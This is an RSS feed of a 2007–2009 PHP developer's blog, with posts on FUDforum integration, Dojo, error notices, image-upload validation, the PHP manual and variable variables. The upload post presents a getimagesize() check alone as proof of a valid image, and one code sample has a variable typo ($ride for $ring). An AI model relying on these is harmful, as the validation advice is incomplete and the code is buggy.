<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Albert Fama &#187; PHP</title>
	<atom:link href="http://albertfama.com/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://albertfama.com</link>
	<description>Freelance Web Programmer - specializing in PHP &#38; MySQL</description>
	<lastBuildDate>Fri, 20 Nov 2009 16:06:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>New Tutorial: Integrating FUDforum</title>
		<link>http://albertfama.com/php/new-tutorial-integrating-fudforum/</link>
		<comments>http://albertfama.com/php/new-tutorial-integrating-fudforum/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 00:35:34 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Fudforum]]></category>
		<category><![CDATA[integration]]></category>
		<category><![CDATA[learning]]></category>

		<guid isPermaLink="false">http://albertfama.com/?p=367</guid>
		<description><![CDATA[I have recently published the first part in a new series of tutorials which will look at integrating FUDforum into an existing site. Part 1 looks at how to create FUD accounts for existing users, and how to &#8216;notify&#8217; FUD about things happening on your site. Basically introducing your site to FUD. Back Story It [...]]]></description>
			<content:encoded><![CDATA[<p>I have recently published the first part in a new series of tutorials which will look at integrating <a href="http://fudforum.org/forum/"  title="FUDforum">FUDforum</a> into an existing site. Part 1 looks at how to create FUD accounts for existing users, and how to &#8216;notify&#8217; FUD about things happening on your site. Basically introducing your site to FUD.</p>
<h3>Back Story</h3>
<p>It seems forums have sort of lost their luster for many; I remember when having a website meant having a forum. At that time it seemed every contract I landed, some portion of the job consisted of integrating a forum  into a site. I always hated this job, because at the time PHPBB was the forum of choice and it seemed that there was no &#8216;right&#8217; way to do it, I had simply developed a bunch of hacks which needed to be scattered around the PHPBB code base and even when complete it was still just a bunch of hacks.</p>
<p>As time moved on, the demand for forums became less and less and I had not done a forum integration in many years. That was until I went to my <a href="http://www.azphp.org/"  title="Arizona PHP User's Group">local</a> <a href="http://www.phpusergroups.org/"  title="phpusergroups.org">PHP users group</a> and ended up with a contract to do a forum integration. I really was not looking forward to the project, but it was a part of a larger job and I&#8217;m not one to turn down work.</p>
<p>Luckily the other members of the group convinced the client to use <a href="http://fudforum.org/forum/"  title="FUDforum">FUDforum</a> developed by <a href="http://ilia.ws/"  title="Ilia Alshanetsky: Personal Site/Blog">Ilia Alshanetsky</a>. I had looked into FUDforum before, had used it as a member of different sites, and assumed the code to be a higher quality simply because of who wrote it, but had never written any code to interact with it.</p>
<p>On Wednesday, the night before I was to do the forum integration I began reading the <a href="http://cvs.prohost.org/index.php/Main_Page"  title="FUDforum documentation">documentation</a> and planning how I was going to accomplish this task as easily and painlessly as possible. Looking at the sidebar navigation on the documentation wiki, I was surprised to see the heading &#8216;<a href="http://cvs.prohost.org/index.php/Category:Integration"  title="FUDforum: Integration Documentation">Integration</a>&#8216; two clicks later, a quick scan of two different pages, and I knew exactly what needed to be done. </p>
<p>After a few hours of work Thursday morning I had written a script which created accounts in the forums for existing members, I also altered the sign up, login, and logout code of the main site. With these changes the forums were basically integrated into the site, which brings me to the new tutorial series I will be posting over the next week.</p>
<h3>Integrating FUDforum</h3>
<p><strong><a href="/tutorial-integrating-fudforum-part1" title="FUDforum integration - part 1">Part 1: Introducing your site to FUD</a></strong></p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=367">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/new-tutorial-integrating-fudforum/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Getting started with Dojo (part 1)</title>
		<link>http://albertfama.com/php/getting-started-with-dojo-part-1/</link>
		<comments>http://albertfama.com/php/getting-started-with-dojo-part-1/#comments</comments>
		<pubDate>Tue, 23 Jun 2009 02:52:41 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[AJAX]]></category>
		<category><![CDATA[Content]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Dojo]]></category>
		<category><![CDATA[project]]></category>

		<guid isPermaLink="false">http://albertfama.com/?p=304</guid>
		<description><![CDATA[During this past weekend I was contacted by a client asking if I could implement a few new functionality requests on their site. Basically they wanted to slowly enter the world of Web 2.0, by implementing small tweaks to existing functionality. I have been working with this client of a few years now and have [...]]]></description>
			<content:encoded><![CDATA[<p>During this past weekend I was contacted by a client asking if I could implement a few new functionality requests on their site. Basically they wanted to slowly enter the world of Web 2.0, by implementing small tweaks to existing functionality. </p>
<p>I have been working with this client of a few years now and have a great rapport with them. For this most recent project they have no requirements about which JavaScript library to use just as long as it has the functionality which is required by the project. This left me in a little bit of a dilemma, which JavaScript library should I use?</p>
<p>I have tried many libraries in the past and had used the <a rel="nofollow" href="http://developer.yahoo.com/yui/"  title="Yahoo! User Interface Library">Yahoo! User Interface Library (YUI)</a> extensively for a previous project. Although it&#8217;s a good library I have had the urge to try out <a href="http://dojotoolkit.com"  title="Dojo: the JavaScript toolkit">Dojo</a>. I first learned about the library when it came coupled with the <a href="http://zendframework.com/"  title="Zend Framework">Zend Framework</a>. After a few small personal projects I never really used either again.</p>
<p>Doing a little research on <a href="http://dojotoolkit.com"  title="Dojo: the JavaScript toolkit">Dojo</a>&#8216;s current capabilities and verifying that it has the functionality required for my project, I have decided to use Dojo and document my experience here. I&#8217;m hoping that even if you currently use a different JavaScript library that this set of posts will inspire you to try something new for a change.</p>
<p>My first task will be to build something similar to the &#8216;Suggest&#8217; functionality on Google. This afternoon I attempted to find a good tutorial explaining how this is accomplished in Dojo, but could not locate exactly what I wanted. The problem seems to be that all the combo box / auto complete tutorials for dojo create a select menu rather than a simple text box and since this is going to be implemented for a search engine the select menu option is not actually an option. (Get it &#8216;select menu&#8217;, &#8216;option&#8217;&#8230;programming humor my wife loves it.)</p>
<p>Over the next few days I will be working on this project and will have one or two more posts detailing how I implement the functionality. If anyone has not heard of Dojo or has never used it here are a few links to get you started.</p>
<h4>Dojo Links</h4>
<ul>
<li><a href="http://dojotoolkit.com"  title="Dojo: the JavaScript toolkit">Homepage</a></li>
<li><a href="http://dojotoolkit.org/downloads"  title="Dojo: Download">Download</a></li>
<li><a href="http://dojotoolkit.org/docs"  title="Dojo: Documentation">Documentation</a></li>
<li><a href="http://dojotoolkit.org/book/dojo-book-0-9/hello-world-tutorial"  title="Dojo: Hello World Tutorial">Hello World Tutorial</a></li>
</ul>
<p>My next post will assume you already have Dojo <em>installed</em> and have worked through the &#8216;Hello World&#8217; tutorial. Here are some brief notes about installing Dojo.</p>
<h5>Dojo Installation</h5>
<p>When installing Dojo you have three options</p>
<ul>
<li>Load the toolkit directly from <a rel="nofollow" href="http://dev.aol.com/dojo"  title="AOL CDN: Dojo Toolkit">AOL&#8217;s Content Distribution Network </a>(CDN) or from the <a rel="nofollow" href="http://code.google.com/apis/ajaxlibs/documentation/index.html#dojo"  title="Google CDN: Dojo Toolkit">CDN of Google</a>.</li>
<li>Download and store the toolkit on your server</li>
<li>Checkout a copy from the SVN repository (maybe not the greatest idea if your implementing on a live site)</li>
</ul>
<p>I believe the first two options are completely viable for a live website and each have their pros and cons. I choose to download the toolkit and keep it on my server. The upside is that since I have the files locally I can open them up and browse through the code whenever I would like (you can learn a lot this way).</p>
<p>&nbsp;</p>
<blockquote><p><strong>In my opinion&#8230;</strong></p>
<p>When attempting to update an existing site with the newest gadgets available, it is best to take slowly. Implement a few updates at a time, without forcing the users to change the way they use the site. The response received from the users will tell you what is worth it and when you&#8217;ve gone too far.</p></blockquote>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=304">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/getting-started-with-dojo-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NOTICES mean something</title>
		<link>http://albertfama.com/php/notices-mean-something/</link>
		<comments>http://albertfama.com/php/notices-mean-something/#comments</comments>
		<pubDate>Wed, 17 Jun 2009 06:34:36 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[Error Handling]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[environment]]></category>
		<category><![CDATA[error messages]]></category>
		<category><![CDATA[errors]]></category>
		<category><![CDATA[learning]]></category>

		<guid isPermaLink="false">http://albertfama.com/?p=264</guid>
		<description><![CDATA[In numerous books and articles the general consensus seems to be that for a production environment Errors and Warnings should be turned on and Notices turned off; as opposed to the development environment where error reporting should be set to E_ALL (report all errors). The reasoning behind this is, Errors and Warnings mean something serious [...]]]></description>
			<content:encoded><![CDATA[<p>In numerous books and articles the general consensus seems to be that for a production environment Errors and Warnings should be turned <strong>on</strong> and <a href="/php/errors-and-error-messages-deciphered/#notice">Notices</a>  turned <strong>off</strong>; as opposed to the development environment where error reporting should be set to E_ALL (report all errors). The reasoning behind this is, Errors and Warnings mean something serious has gone wrong with the script and you (as the developer) need to know about it. Notices on the other hand are kind of disregarded as a nuisance in production.</p>
<p>I completely disagree with this point of view. If I write code which is not intended to generate Notices, then as the developer I want to know if and when Notices are being generated in <strong>any</strong> environment.</p>
<p>Notices are very helpful in tracking down logical errors or bugs, which cause the script not to function as expected.  In PHP they are normally generated when using a previously undeclared variable. Technically speaking there is nothing wrong with this in PHP, other programming languages are not so forgiving. </p>
<p>I personally started declaring all variables when I began to focus on the security implications of using undeclared variables (we&#8217;ll save that information for another post). After getting in the habit I found that I was able find logical errors during development even before I noticed that a bug existed. After realizing this, I now never release code which is know to generate notices. I have also started setting error reporting to E_ALL in <strong>all</strong> environments.</p>
<p>I understand that this is not feasible for everyone. It may not be possible in a professional working environment because of dealing with legacy code. Another issue could arise if you use third-party code which has not subscribed to this way of thinking. Although personally, I feel this is not an excuse there is no reason you can&#8217;t get in there and &#8216;fix&#8217; their script.  </p>
<h5>A word of warning</h5>
<p>I was once hired to fix numerous bugs on a site, all were a fairly obvious fix, but one in particular had me stumped.  I turned on notices when attempting to debug the problem and ended up with an error log that contained over 250 notices for every page load. Since this was a dev environment setup by the client for my use, it was no big deal, but if it were a heavily trafficked live site, there could have been some serious implications.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=264">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/notices-mean-something/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trick: Image Uploads</title>
		<link>http://albertfama.com/php/trick-image-uploads/</link>
		<comments>http://albertfama.com/php/trick-image-uploads/#comments</comments>
		<pubDate>Thu, 13 Dec 2007 22:40:18 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[file upload]]></category>
		<category><![CDATA[images]]></category>
		<category><![CDATA[validation]]></category>
		<category><![CDATA[validation trick]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=43</guid>
		<description><![CDATA[We have all written scripts to upload files to a server, and for one reason or another I find that most of the time the script is intended for image uploads. Whenever you are uploading user files to the server it is very important that those files are validated to ensure the uploaded file is [...]]]></description>
			<content:encoded><![CDATA[<p>We have all written scripts to upload files to a server, and for one reason or another I find that most of the time the script is intended for image uploads. Whenever you are uploading user files to the server it is very important that those files are validated to ensure the uploaded file is actually what is expected. Since just checking the HTTP headers and the file&#8217;s extensions is insufficient we need to find another way to determine if the file is actually an image file.</p>
<p>While writing some validation code I came across this &#8220;trick&#8221; which can be used to determine if a file is an image file: Send the uploaded file through <a href="http://www.php.net/manual/en/function.getimagesize.php"  title="PHP Manual: getimagesize">getimagesize()</a> and check the return values. </p>
<p>As the PHP Manual states:</p>
<blockquote><p><strong>PHP Manual</strong></p>
<p>The getimagesize() function will determine the size of any given image file and return the dimensions along with the file type and a height/width text string to be used inside a normal HTML IMG tag and the correspondant HTTP content type.</p></blockquote>
<p>If PHP cannot access the file or the file is not an image, the function will generate an E_WARNING error, and return boolean FALSE. The E_WARNING error can be suppressed by using the error suppression operator &#8216;@&#8217;. As long as you know that the file is accessible to PHP (which it should be if PHP uploaded the file) and the function does not return FALSE, then you have a valid image file.</p>
<p>I first leaned about this method from the book <a rel="nofollow" href="http://www.amazon.com/php-architects-Guide-PHP-Security/dp/0973862106/ref=sr_1_1?ie=UTF8&#038;s=books&#038;qid=1197585311&#038;sr=1-1"  title="Amazon: php|architect's Guide to PHP Security">php|architect&#8217;s Guide to PHP Security</a> by <a href="http://ilia.ws/"  title="Personal Website: Ilia Alshanetsky">Ilia Alshanetsky</a>.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=43">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/trick-image-uploads/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Manual gets facelift</title>
		<link>http://albertfama.com/php/php-manual-gets-facelift/</link>
		<comments>http://albertfama.com/php/php-manual-gets-facelift/#comments</comments>
		<pubDate>Thu, 29 Nov 2007 22:22:45 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[documentation]]></category>
		<category><![CDATA[manual]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=42</guid>
		<description><![CDATA[Several weeks ago an announcement was made on php.net that the new documentation build system was ready for testing. The announcement encourages everyone to use and test the new system. I should have started using it then, just to help out and find bugs, but I glanced over the new manual and didn&#8217;t really give [...]]]></description>
			<content:encoded><![CDATA[<p>Several weeks ago an announcement was made on php.net that the <a href="http://php.net#2007-10-03-1"  title="php.net: Announcement">new documentation build system was ready for testing</a>. The announcement encourages everyone to use and test the new system. I should have started using it then, just to help out and find bugs, but I glanced over the new manual and didn&#8217;t really give it much thought. In the last several days I noticed that the php.net manual display had changed, which reminded me about the new manual, and have since switched. The new manual is located at: <a href="http://docs.php.net/manual/"  title="New PHP Manual">http://docs.php.net/manual/</a> (still in test).</p>
<p>First I would like to say that I like the look of the new manual; it seems cleaner with well defined areas. For example on a function description page the description, parameters, return values, errors/exceptions, and examples all appear in their own &#8216;box&#8217; (div tag) with a light blue background. This definitely makes it easier to locate what your look for and generally gives a nice presentation of the information.</p>
<p>My two gripes about the new manual are fairly petty. I think it is a case of &#8216;<a rel="nofollow" href="http://en.wikipedia.org/wiki/Who_Moved_My_Cheese%3F"  title="Wikipedia: Who Moved My Cheese?">Who moved my cheese</a>&#8216;, instead of actual issues with the manual.</p>
<p><strong>Gripe 1: There is too much spacing between items in the unordered lists.</strong></p>
<p>Looking at what I believe to be the CSS styling for the &#8216;li&#8217; tags, they have added a top and bottom padding of 3 pixels (6 pixels between each line). Although this makes for good separation between each item it also makes the pages longer and consequently more scrolling.</p>
<p><strong>Gripe 2: The new navigation system, specifically in two areas:</strong></p>
<ul>
<li>The index page of the manual. The <a href="http://www.php.net/manual/en/"  title="PHP Manual: index">old index page</a>, was basically like an extended table of contents. It listed the sections of the manual along with the major subsections. This was always my starting point. You may not find exactly what your looking for in the first click but you knew where you wanted to go. The <a href="http://docs.php.net/manual/en/manual.php"  title="New PHP Manual: index">new index page</a>, contains the list of sections in the left-hand navigation bar, but the page does not list any subsections. New users of the language I believe will find it more difficult to locate the information they need simply because they may not know exactly what their looking for. Now, of course, users already familiar with the language will still be able to find what there looking for but it will take more clicks to get where your going, specifically for the function reference section&#8230;</li>
<li>In the old manual when you viewed the <a href="http://www.php.net/manual/en/funcref.php"  title="Old PHP Manual: Function Reference">function reference</a> section you were presented with a long alphabetized list of groups of functions; Arrays, MySQL, Strings, etc. <a href="http://docs.php.net/manual/en/funcref.php"  title="New PHP Manual: Function Reference">Now</a> they have grouped the groups; array functions are listed below &#8216;Variable and Type Related Extensions&#8217;, string functions are listed below &#8216;Text Processing&#8217; and MySQL functions aren&#8217;t actually listed on the page, they are under &#8216;Database Extensions->Vendor Specific Database Extensions->MySQL&#8217;. Now I am all for more organization, but by grouping the groups the function reference is no longer alphabetized and the added clicks needed to get to the section you want I feel is not a bonus.</li>
<li style="list-style-type: none;">This also comes into play after you have chosen the section you want. For example, in the old manual you could be looking at the array functions, find what you need, and just leave the browser open to the array functions page while you went back to work. Then after a bit more work, if you needed to look at the string functions, you could simply click the &#8216;string&#8217; functions link in navigation bar and be there in one click. This is not possible in the new manual&#8230;Given the same situation you always need to go back to the main function reference page and start drilling down from there.</li>
</ul>
<p>I don&#8217;t want this to come off as a bashing of the new manual, these are minor issues and I probably just need to get used to the new setup. So now that you read my review, let us know what you think of the new manual.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=42">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/php-manual-gets-facelift/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Learning PHP</title>
		<link>http://albertfama.com/php/learning-php/</link>
		<comments>http://albertfama.com/php/learning-php/#comments</comments>
		<pubDate>Wed, 21 Nov 2007 19:56:12 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[learning]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=40</guid>
		<description><![CDATA[Over the weekend I was visiting a friend, who has his own website. He uses PHP on the site, but he is not a programmer. The site is his hobby and he has only learned enough PHP to get the job done. Simply put this is not his occupation. While visiting he was in the [...]]]></description>
			<content:encoded><![CDATA[<p>Over the weekend I was visiting a friend, who has his own website. He uses PHP on the site, but he is not a programmer. The site is his hobby and he has only learned enough PHP to get the job done. Simply put this is not his occupation. </p>
<p>While visiting he was in the middle of writing a small script which queried articles out of a database and displayed them according to the categories they were assigned to. Everything was working correctly, but the processing time was slower than he would like. He asked if I could take a look and see if anything could be done to speed things up. While optimizing some of the PHP and SQL code; I was showing him different functions which are built into PHP and MySQL, (these functions will always execute faster than the ones you write yourself). </p>
<p>As I was standing over his shoulder pointing out the different problematic areas, he asked me how I was able to keep all that information in my head. I simply replied that it is my job, it&#8217;s what I get paid to do. After going back and forth, what he actually wanted to know was how I  memorized all the different functions, which parameters they accept, and in what order. This is not the first time I have been asked this question so I decided to actually think about how it all happened.</p>
<p>I once read the book &#8216;On Writing&#8217; (by Stephen King), it is a book about how to become a writer. I don&#8217;t really remember a lot about the book, but I do remember one thing. He said that if you want to be a writer, you need to write everyday. It does not have to be anything great, just write something. I attempted to do this, but it became a chore and I soon stopped writing.</p>
<p>After thinking about the question my friend asked (I admit I have a horrible memory) but just like King said, do it everyday. I learned PHP simply by writing code everyday, by using PHP constantly, and little by little things sink in and stay. I never sat down with the manual and made an effort to memorize things, it just naturally happened over a period of time.</p>
<p>When I first started, I remember the fascination I had with writing something that made a computer do what I wanted. It was almost like an addiction, once I got it to do one thing, I wanted write something more complicated. Granted over the years it takes more, but I am now writing more complicated code and when it works, I get that same feeling.</p>
<p>So if you want to become a coder that is able to write scripts off the top of your head, or be able to &#8216;see&#8217; the code before you even begin, do it everyday. It does not have to be ground breaking or a completely new idea, just write something. If you find that writing code everyday becomes a chore, then you may want to try your hand at something else, maybe become an author.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=40">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/learning-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Variable Variables</title>
		<link>http://albertfama.com/php/variable-variables/</link>
		<comments>http://albertfama.com/php/variable-variables/#comments</comments>
		<pubDate>Mon, 19 Nov 2007 21:11:29 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Variables]]></category>
		<category><![CDATA[documentation]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[variable variables]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=36</guid>
		<description><![CDATA[It is a rare occurrence that I find an excuse to use variable variables, but when that situation arises they are not only helpful but also fun in a way. I have often heard beginning programmers say that they find the concept difficult to grasp. I believe the confusion doesn&#8217;t stem from understanding the concept [...]]]></description>
			<content:encoded><![CDATA[<p>It is a rare occurrence that I find an excuse to use variable variables, but when that situation arises they are not only helpful but also fun in a way. I have often heard beginning programmers say that they find the concept difficult to grasp. I believe the confusion doesn&#8217;t stem from understanding the concept itself; but from understanding when a variable variable would be beneficial. In this article I will attempt to dispel the myth by including real-world examples along with the basic information about variable variables.</p>
<p>One thing that should be mentioned before we begin, variable variables should be used sparingly. Their overuse can make scripts difficult to debug and confusing six months down the road when you decide to update or add functionality to your code. So before you use them make sure the problem your trying to solve warrants their use. (Hopefully the examples used in this article will give you the background to make that decision.)</p>
<p>We will begin by explaining what variable variables are. First let see what the PHP manual says a variable variable is:</p>
<blockquote><p><strong>PHP Manual:</strong><br />
A <a href="http://www.php.net/manual/en/language.variables.variable.php"  title="PHP Manual: Variable Variables">variable variable</a> takes the value of a variable and treats that as the name of a variable.</p></blockquote>
<p>Let&#8217;s see if we can add a little more to it&#8230; A variable variable, is created when two dollar signs ($$) are placed at the beginning of a variable name. The PHP engine interprets this to mean the value of the variable (which has two dollar signs in front of it) is the name of the variable which needs to be interpreted.</p>
<p>Not sure if that is any clearer, so lets go to some code so we can see it in action, then I&#8217;m sure everyone will understand. </p>
<pre name="code" class="php">
&lt;?php
$site = &quot;NULL&quot;;
$ring = &quot;NULL&quot;;
$plug = &quot;NULL&quot;;
&nbsp;
$entity_1 = &quot;site&quot;;
$entity_2 = &quot;plug&quot;;
$id_1     = 54;
$id_2     = 78;
&nbsp;
$$entity_1 = $id_1;
$$entity_2 = $id_2;
&nbsp;
echo &quot;site: &quot;.$site.&quot;&lt;br /&gt;&quot;;
echo &quot;ring: &quot;.$ring.&quot;&lt;br /&gt;&quot;;
echo &quot;plug: &quot;.$plug.&quot;&lt;br /&gt;&quot;;
?>
</pre>
<p>When this code is run it will print:<br />
<code>site: 54<br />
ring: NULL<br />
plug: 78<br />
</code><br />
Notice the two dollar signs ($$) in front of the second occurrence of the variables &#8216;entity_1&#8242; and &#8216;entity_2&#8242;, these are the variable variables. Since the value of the variable $entity_1 is &#8216;site&#8217; when PHP parses:</p>
<pre name="code" class="php">
$$entity_1 = $id_1;
</pre>
<p>it <em>reads</em>:<br />
<code>$site = $id_1;</code><br />
The same also happens for $$entity_2. </p>
<p>That&#8217;s it! That is what a variable variable is, nothing really ground breaking here. So the question is when should this <em>feature</em> of PHP be used?</p>
<p>First I have to admit that I have never run into a situation where variable variables are required to get the job done. I think it is very telling when the section on variable variables in the PHP Manual starts with the sentence:</p>
<blockquote><p>
Sometimes it is convenient to be able to have variable variable names.
</p></blockquote>
<p>The keyword here being: convenient (as in &#8216;not necessary&#8217;).</p>
<p>The most recent situation where I used variable variables was this:<br />
I was writing a function which managed the data in a database correlation table. The table had three columns: &#8216;site_id&#8217;, &#8216;ring_id&#8217;, and &#8216;plug_id&#8217;. </p>
<p>The function I was working on accepted the entity types and ids for two entities. Hence, the function declaration looked like this:
<pre name="code" class="php">
function&nbsp;correlate($entity_1,&nbsp;$id_1,&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$entity_2,&nbsp;$id_2)
</pre>
<p>That function used another function which was responsible for actually inserting a record into the table and its declaration looked like this:</p>
<pre name="code" class="php">
function create($site_id,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$ring_id,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$plug_id)
</pre>
<p>The purpose of the function I was writing was to determine if a record existed for either entity in the db table, if so update the correlation, if not insert a new record. Variable variables came into play if a record needed to be inserted into the correlation table. </p>
<p>Once it was determined that a new record need to be inserted, I created three variables set to the column defaults (NULL): </p>
<pre name="code" class="php">
function&nbsp;correlate($entity_1,&nbsp;$id_1,&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$entity_2,&nbsp;$id_2)
{
&nbsp;&nbsp;&nbsp;&nbsp;//check for record
&nbsp;&nbsp;&nbsp;&nbsp;if ($record) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//update and return
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;$site = &quot;NULL&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$ring = &quot;NULL&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$plug = &quot;NULL&quot;;
}
</pre>
<p>Without some checking the function did not &#8216;know&#8217; which ids it had. So to make things easier I decided to use variable variables and write the rest of the function like this:</p>
<pre name="code" class="php">
function&nbsp;correlate($entity_1,&nbsp;$id_1,&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$entity_2,&nbsp;$id_2)
{
&nbsp;&nbsp;&nbsp;&nbsp;//check for record
&nbsp;&nbsp;&nbsp;&nbsp;if ($record) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//update and return
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;$site = &quot;NULL&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$ring = &quot;NULL&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$plug = &quot;NULL&quot;;
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;$$entity_1 = $id_1;
&nbsp;&nbsp;&nbsp;&nbsp;$$entity_2 = $id_2;
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;return create($site, $ride, $plug);
}
</pre>
<p>Again variable variables were not needed in this situation I could have used &#8216;switch&#8217; or &#8216;if&#8217; statements to determine which entity types were sent, but I thought the use of variable variables was a cleaner option and quite frankly was faster to code.</p>
<p>BTW &#8211; If anyone has run into a situation where variable variables were required, please let me know I would love to hear about it.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=36">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/variable-variables/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Security Resources</title>
		<link>http://albertfama.com/php/security-resources/</link>
		<comments>http://albertfama.com/php/security-resources/#comments</comments>
		<pubDate>Fri, 16 Nov 2007 14:17:01 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[links]]></category>
		<category><![CDATA[resources]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=38</guid>
		<description><![CDATA[After posting Simple XSS Vulnerability according to my site stats, it seems there is a large number people interested in PHP security, more so than any other topic I have blogged about. Since I am no security expert I thought I would provide a few links to some quality resources on the net. One of [...]]]></description>
			<content:encoded><![CDATA[<p>After posting <a href="/?p=37" title="Obnexus: Simple XSS Vulnerability">Simple XSS Vulnerability</a> according to my site stats, it seems there is a large number people interested in PHP security, more so than any other topic I have blogged about. Since I am no security expert I thought I would provide a few links to some quality resources on the net.</p>
<p>One of the best resources is the <a href="http://phpsec.org/"  title="PHP Security Consortium">PHP Security Consortium</a>, where you can find the <a href="http://phpsec.org/projects/"  title="PHP Security Consortium: Projects">PHP Security Guide</a>. It is published in three different formats (HTML, PDF, DocBook Lite) and four different languages (English, French, Romanian, Serbian). They also publish their own <a href="http://phpsec.org/articles/"  title="PHP Security Consortium: Articles">articles</a> and have a links <a href="http://phpsec.org/library/"  title="PHP Security Consortium: Library">library</a> to numerous articles on other sites.</p>
